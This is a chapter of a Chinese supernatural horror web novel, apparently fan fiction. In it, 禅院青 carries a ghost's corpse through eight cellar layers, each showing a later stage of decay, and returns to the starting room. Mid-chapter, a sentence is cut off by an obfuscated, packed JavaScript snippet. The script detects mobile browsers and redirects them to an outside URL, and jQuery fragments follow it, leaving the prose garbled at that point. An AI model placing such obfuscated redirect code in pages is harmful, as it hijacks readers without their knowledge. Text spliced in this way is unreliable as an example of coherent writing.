默认冷灰
24号文字
方正启体

10. 你是……来救我的吗?

作者:孙应殊本书字数:K更新时间:
    那个“东西”——我们暂且把它称之为水镜冴子——还维持着脊柱扭转一百八十度的姿态。


    在那几秒钟的死寂里,她等待着。


    等待着恐惧,等待着此人溢出的咒力和破绽。


    禅院青看着那张扭了一百八十度的脸,脑子里冒出的第一个念头是:这颈椎,怪羡慕的。


    “哦。”


    她干巴巴地应了一声,抬起脚走向水镜冴子。


    “啊……”


    水镜冴子试图补救一下这该死的氛围,那扭曲的脖颈又往下压了一寸,发出了更清脆的一声“咔吧”。


    “看在这一单1.2亿的份上,不和你计较。”


    黑色的平底鞋踩在发软的紫红色泥土上,她走到那团极致扭曲的白衣女人面前。


    女鬼嘴里那三十二颗牙齿停止了咀嚼空气的动作,全黑的眼睛紧盯着对方,硬是被禅院青看出了小狗般的无措。


    “……诶?”


    在水镜冴子的设想里,她的脑袋会被击穿,身体会化作烂泥。


    无论如何,凝视窗棱却无法认知到直线之时,锚点就已经种下了。


    接下来,无论猎物逃到哪里,心跳声,呼吸声与她的哭泣声将如附骨之疽。在每一个深夜,都能听到另一个心脏在她耳边跳动,血液冲刷血管的水声;冰凉急促的呼吸打在后颈上的触感。


    然后她的心脏在猎物的心脏旁生长,她的肺在猎物胸腔内发芽。供血被压迫,呼吸取决于她的肺何时舒张。


    最后她挤断宿主的脊椎破蛹,再次发布猎杀水镜冴子的悬赏。


    可是这一次不一样。


    禅院青弯下腰,双手极其干脆利落地穿过了女鬼的腋下。


    女鬼的皮肤阴冷、滑腻,如同泡发的海带。但禅院青脸上的表情没变,她甚至颠了颠手腕,像抱着一个不听话的婴儿。


    然后。


    一个 “旱地拔葱”。


    女鬼就像被农夫一把从湿润泥土里倒拔而出的一棵白萝卜。


    那团白色的和服在空中晃荡了一下。


    “唔?还挺沉。”


    禅院青嘟囔了一句。


    女鬼的上半身还维持着那种向后折叠的诡异姿态,那张嵌满牙齿的脸就这样被举到了禅院青的胸口位置。


    一人一鬼面面相觑。


    欸?……骗人的吧?我不是吓人天才吗?


    女鬼来不及内耗,仓促发出一点那种能够让人耳膜穿孔的刮擦声,以此挽回自己的尊严。


    刚开了个头。


    禅院青就把她像个碍事的沙袋一样,往旁边随手一放。


    “多层结构。”禅院青拍了拍手上的灰尘,“这活有力气。”


    女鬼的骨头已经松软到无法支撑身体,她在紫红色的泥土上滚了两圈,吃了一嘴发霉的土,她怨毒地注视着她。


    就在被拔出的水镜冴子原本蜷缩的位置正下方,那一小块泥土的纹理是断层的。


    禅院青用脚尖轻轻踢开上层那些像是坏死黏膜般的土块,露出的是一圈边缘参差不齐的黑色孔洞。光线照射进去,完全被吞噬,此室不属于生者。


    那是一个入口。或者说,是个向下延伸的喉孔。


    里面依然没有任何咒力的残秽溢出,但那种几何空间断裂的恶心感却比上一层更加浓烈。只需注视两秒,眼前就会产生几乎要吞噬视野的黑斑,禅院青甩了甩头,引来女鬼得意的咯咯漏气声。


    下面还有一层。


    同样的结构,同样深不见底。这栋废弃老宅的下方,似乎挖空了整个富士山麓的地壳。


    顺着那个孔洞,顺着几乎垂直的倾斜度,她进入了下一层。


    第二层地窖。


    空间的大小在肉眼看来与第一层毫无二致,但墙壁之间的距离感却发生了严重的谬误。想要走到墙角,感觉只需要两步,但真正走起来,却仿佛永远在这二十平方米的方壳内原地踏步。


    这里的气味变了。霉味减弱,取而代之的是一种甜腻到发苦的糜烂感。


    就在第一层发现水镜冴子的同一位置上,同样盘踞着一个白色的身影。


    那是一具尸体。


    水镜冴子的尸体。


    这里的时间流速似乎与上面那一层产生了断代,尸体腐败程度加重了。


    白色的布料上,出现了一些淡黄色痕迹。侧躺在地上的躯体呈现出明显的尸僵状态,右眼角下方的那块黑色素沉淀在青灰色的皮肤上显得格外突出。可以清晰地看到皮肤组织已经停止了新陈代谢,显出灰败的质地。


    她静静地躺在那里,就像千千万万个死去的人。


    同样平稳的脚步声靠近。


    禅院青再次抱起她。能听到她的骨骼因为僵硬而难以弯折,发出更为沉闷的摩擦声。


    而就在这具尸体的下方,泥土再次如预料般塌陷,露出了通往第三层的孔洞。


    踏进第三层,眼睛说墙是绿的。


    但脑子里有个声音在尖叫着这不是绿,是带着毛细血管的葡萄肉!不要看到外皮、不要看到外皮!


    抬脚。脚陷在果肉里,拔出来要用力。


    尸体依然在那个位置,但这次腐烂程度更深。


    那具尸体睁开眼睛。


    “你来了。”


    声音从溃烂的喉咙里挤出来,蛆虫从嘴唇的裂缝中爬进爬出。


    禅院青的手停在半空。


    “等了你很久。”尸体说,“每一层都在等。”


    然后它闭上眼睛,继续腐烂。


    第四层没有门。她只是走着走着,就发现自己已经在了。


    引力的方向开始变得随机。水滴不是向下掉落,而是横向漂浮。手电筒的光斑在这里被扭曲成了扁平状。气味已经不仅仅是嗅觉的刺激,而是能尝到的味觉,细细品味起来像是一把铁锈味的硬币。


    尸体已经呈现出巨人观。皮肤发黑膨胀,内部的气体撑起了衣服,散发出浓烈的恶臭。


    搬起。


    她的动作带有严苛的平稳。即使这具膨胀的尸体在搬运过程中发出漏气般的诡异声响,也没有动摇禅院青如同老黄牛拉磨般的决心。


    是真的毫无波澜还是用麻木对抗?不知道。


    下沉,下沉。


    第五层。


    脚下踩的不是泥,是肉。


    每走一步都有粉红色的汁液从肉里挤出来,像是踩在刚宰杀的牛内脏上。墙壁在动,呼吸一样地动。


    脚下的肉壁裂开一张嘴,等着她下去。没有通常意义上的上下左右,重力已经失效,目之所及皆是紫红。


    比起地窖这里更像一个人的胃袋深处。


    她不知什么时候已经抱住了这具躯体,水镜冴子在她怀里软了下去,像过熟的桃子。好像小时候捏过……是什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334539|199225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时候呢?


    她的大部分面容已经无法辨认,皮肉液化,与骨骼分离。白色的单衣变得污浊不堪,黏附在暴露的肋骨上。蛆虫在其中翻滚,形成一片白色的海浪。


    定睛一看是一张禅院青的脸。


    !


    她猛地推开尸体,大口大口地喘息,心跳声、呼吸声和哭泣般的喘息声在密室内回荡。


    第六层是她醒过来才意识到已经抵达的。中间有短暂的昏迷,或者没有。


    在这个深度,记忆和时间一样不可靠。


    声音消失了。绝对的寂静。哪怕是心脏跳动的声音在这里都会被吸走。这种听觉剥夺比噪音更可怕,它会让人产生自身已不存在的虚无感。


    尸体到了白骨化的前夕。残杂的黑色腐肉挂在森然的白骨上,右眼眶里空洞洞的,只剩下一小块连着头骨的干瘪皮囊。


    搬起时动作甚至因为重量的减轻而显得更加轻松,禅院青没收住力,踉跄了一下。


    第七层。这个编号是她猜的。她已经失去了计数能力。


    视野里的事物出现重影和噪点,她好像看见自己的后脑勺?不是幻觉,是真的看见了。


    干枯的水镜冴子像是被人强行拆解后又用拼图的形式拼凑在一起,骨架的结构完全错乱,盆骨长在颈椎上,指骨插在肋骨间。


    她已经不再具备人类的形态。


    禅院青迟疑了一下。调整了一下着力点,再一次将这堆发出骨骼碰撞脆响的物体兜起,轻轻地放下。


    第八层。


    这是一个悖论。


    在这个看起来只有二十平米的空间里存在着一种无法理解的广袤。每走一步,物理坐标都微小到未曾改变,但精神却跋涉了几个光年。在这个空间里向前看,能看到自己的后脑勺。


    千万个禅院青经过。


    千万个禅院青死去。


    此地的禅院青不曾动摇,那双金色的眼睛平静,宏大。是唯一燃烧的恒星。


    中心位置。


    一切腐朽的终点。


    水镜冴子已经风化为地上一滩黑色的风化粉末,白色单衣空瘪地覆盖其上。


    她从活物到异形,从各种阶段的尸体到白骨,最终归于尘土。八层地窖是一场关于降解的电影。


    她将这滩粉末连同带有霉斑的单衣一起卷起。


    在这滩粉末的下方,没有再出现那种向下延伸的孔洞。


    取而代之的,是一扇向上的门板。


    就跟最初通往地窖的那扇橡木门板一模一样。


    推开这扇理应通向第九层地下的朝上的门板,禅院青的皮鞋踩在了黏糊糊的地板上。


    转过身,手电筒的光束扫过四周。


    昏黄的灯泡,罩着铁丝网。


    破旧的、皮面龟裂的扶手椅。


    以及一张桌子。桌子上还有包着五千万日元的牛皮纸包。这里是几小时前那个黑市情报交换点的镜像。


    在正前方的角落里,一个穿着白色和服的女人蜷缩在那里,背对着入口。


    她的身体因为哭泣而剧烈地抽动着,像一只被电流刺激的青蛙腿。


    穿过八个递进的腐烂深渊,底层连接着的竟然是起点。


    白衣女人的腰椎发出细微的骨骼错位声,上半身向后折叠九十度,那张水淋淋的脸倒悬着出现在眼前——


    “你是来救……我的吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)